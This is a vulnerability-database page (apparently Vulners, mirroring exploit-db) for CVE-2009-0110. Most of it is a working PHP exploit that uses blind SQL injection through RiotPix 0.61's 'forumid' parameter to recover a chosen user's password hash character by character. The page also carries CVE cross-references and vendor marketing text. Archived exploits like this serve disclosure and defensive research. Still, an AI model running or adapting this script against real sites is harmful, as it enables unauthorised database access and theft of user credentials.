Lucene search
+L

RiotPix 0.61 - 'forumid' Blind SQL Injection

🗓️ 06 Jan 2009 00:00:00Reported by cOndemnedType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 42 Views

RiotPix 0.61 forumid Blind SQL Injection exploit for password hashe

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-0110
6 Jan 200900:00
circl
cve
CVE
CVE-2009-0110
9 Jan 200918:00
cve
cvelist
Cvelist
CVE-2009-0110
9 Jan 200918:00
cvelist
euvd
EUVD
EUVD-2009-0119
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-0110
9 Jan 200918:30
nvd
prion
Prion
Sql injection
9 Jan 200918:30
prion
<?php

/*

	$Id: riotpix-0.61.txt,v 0.1 2009/01/06 03:47:30 cOndemned Exp $

	RiotPix <= 0.61 (forumid) Blind SQL Injection Exploit
	Bug found && Exploited by cOndemned

	Download :

		http://www.riotpix.com/download/riotpix0_61.zip


	Description :

		It's just simple Blind SQL Injection exploit that gets
		password hash of given user. Code is really simple -
		without proxy, or error handling, but i don't think it is
		important, as long as the RiotPix isn't famous script...

	-------------------------------------------------------------------

	Greetz:

		ZaBeaTy, str0ke, sid.psycho & TWT, wojtus0007, 0in, vCore


		"...What is left to die for, what is left to give..."

*/


	echo "\n[~] RiotPix <= 0.61 (forumid) Blind SQL Injection Exploit";
	echo "\n[~] Bug found && Exploited by cOndemned\n";

	if($argc != 4)
	{
		printf("[!] Usage: php %s <target_size> <username> <topic_id>\n\n", $argv[0]);
		exit;
	}

	list($sploit, $target, $username, $topicid) = $argv;

	$charsArr = array(48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102);
	$pos = 1;

	echo "[~] Password Hash : ";

	while($pos != 33)
	{
		for($i = 0; $i <= count($charsArr); $i++)
		{
			$query = "/read.php?forumid=$topicid+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='$username'),$pos,1)=CHAR({$charsArr[$i]})--";
			$source = file_get_contents($target . $query);

			if(!eregi('existent', $source))
			{
				printf("%s", chr($charsArr[$i]));
				$pos++;
				break;
			}
			flush(STDOUT);
		}
	}

	echo "\n[~] Done\n\n";

?>

# milw0rm.com [2009-01-06]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jan 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.00993
42